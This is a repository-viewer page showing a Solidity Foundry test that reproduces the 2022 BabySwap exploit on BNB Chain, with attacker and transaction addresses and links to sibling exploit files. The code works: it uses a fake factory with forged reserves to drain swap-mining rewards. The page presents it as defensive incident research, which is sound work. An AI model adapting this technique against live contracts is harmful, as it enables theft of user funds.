Public reproduction file
src/test/2022-10/BabySwap_exp.sol
Public reproduction file for dataset entry BabySwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo8// Attacker : 0x0000000038b8889b6ab9790e20FC16fdC57149229// Attack Contract : https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d410// Vulnerable Contract : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e4963611// Attack Tx : https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code16// @Analysis17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/157644161281283686519interface IBabySwapRouter {20 function swapExactTokensForTokens(21 uint256 amountIn,22 uint256 amountOutMin,23 address[] memory path,24 address[] memory factories,25 uint256[] memory fees,26 address to,27 uint256 deadline28 ) external;29}31interface ISwapMining {32 function takerWithdraw() external;33}35contract FakeFactory {36 address Owner;37 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));38 IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);40 constructor() {41 Owner = msg.sender;42 }44 // fake pair45 function getPair(address, /*token1*/ address /*token2*/ ) external view returns (address pair) {46 pair = address(this);47 }49 // fake pair50 function getReserves() external pure returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {51 reserve0 = 10_000_000_000 * 1e18;52 reserve1 = 1;53 blockTimestampLast = 0;54 }56 function swap(uint256, /*amount0Out*/ uint256, /*amount1Out*/ address, /*to*/ bytes calldata /*data*/ ) external {57 if (WBNB_TOKEN.balanceOf(address(this)) > 0) WBNB_TOKEN.transfer(Owner, WBNB_TOKEN.balanceOf(address(this)));58 // if(USDT_TOKEN.balanceOf(address(this)) > 0) USDT_TOKEN.transfer(Owner, USDT_TOKEN.balanceOf(address(this)));59 }60}62contract ContractTest is Test {63 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));64 IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);65 IERC20 constant BABY_TOKEN = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);66 IBabySwapRouter constant BABYSWAP_ROUTER = IBabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32);67 ISwapMining constant SWAP_MINING = ISwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636);68 address constant BABYSWAP_FACTORY = 0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da;70 function setUp() public {71 vm.createSelectFork("bsc", 21_811_979);72 // Adding labels to improve stack traces' readability73 vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");74 vm.label(address(USDT_TOKEN), "USDT_TOKEN");75 vm.label(address(BABY_TOKEN), "BABY_TOKEN");76 vm.label(address(BABYSWAP_ROUTER), "BABYSWAP_ROUTER");77 vm.label(address(SWAP_MINING), "SWAP_MINING");78 vm.label(BABYSWAP_FACTORY, "BABYSWAP_FACTORY");79 vm.label(0xE730C7B7470447AD4886c763247012DfD233bAfF, "USDT_BABY_BABYPAIR");80 }82 function testExploit() public {83 emit log_named_decimal_uint(84 "[Start] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 1885 );86 (bool success,) = address(WBNB_TOKEN).call{value: 20_000}("");87 require(success, "Transfer failed.");88 WBNB_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);89 BABY_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);91 // create fakefactory92 FakeFactory factory = new FakeFactory();94 // swap token to claim reward95 address[] memory path1 = new address[](2);96 path1[0] = address(WBNB_TOKEN);97 path1[1] = address(USDT_TOKEN);98 address[] memory factories = new address[](1);99 factories[0] = address(factory);100 uint256[] memory fees = new uint256[](1);101 fees[0] = 0;102 BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);103 // swap token to claim reward104 address[] memory path2 = new address[](2);105 path2[0] = address(WBNB_TOKEN);106 path2[1] = address(BABY_TOKEN);107 BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);109 // claim reward token110 SWAP_MINING.takerWithdraw();111 _BABYToUSDT();113 emit log_named_decimal_uint(114 "[End] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18115 );116 }118 /**119 * Auxiliary function to swap all BABY to USDT120 */121 function _BABYToUSDT() internal {122 address[] memory path = new address[](2);123 path[0] = address(BABY_TOKEN);124 path[1] = address(USDT_TOKEN);125 address[] memory factories = new address[](1);126 factories[0] = BABYSWAP_FACTORY;127 uint256[] memory fees = new uint256[](1);128 fees[0] = 3000;129 BABYSWAP_ROUTER.swapExactTokensForTokens(130 BABY_TOKEN.balanceOf(address(this)), 0, path, factories, fees, address(this), block.timestamp131 );132 }133}Analysis
Dataset entry
Public Foundry test for “BabySwap” (2022-10-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0000000038b8889b6ab9790e20fc16fdc5714922
- Attack Contract
0xde7e741bd9dc7209b56f1ef3b663efb288c928d4
- Vulnerable Contract
0x5c9f1a9ced41ccc5dcecda5afc317b72f1e49636
- Attack Tx
0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe
- Twitter: https://twitter.com/BlockSecTeam/status/1576441612812836865
- Explorer: https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4
- Explorer: https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636
- Explorer: https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code
File record
- Name
- BabySwap
- Path
- src/test/2022-10/BabySwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 55adb4e71c376b182b872b42928aa3e6ae67492f
- Language
- Solidity
- Size
- 134 lines
- Date
- 2022-10-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/BabySwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 55adb4e71c376b182b872b42928aa3e6ae67492f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.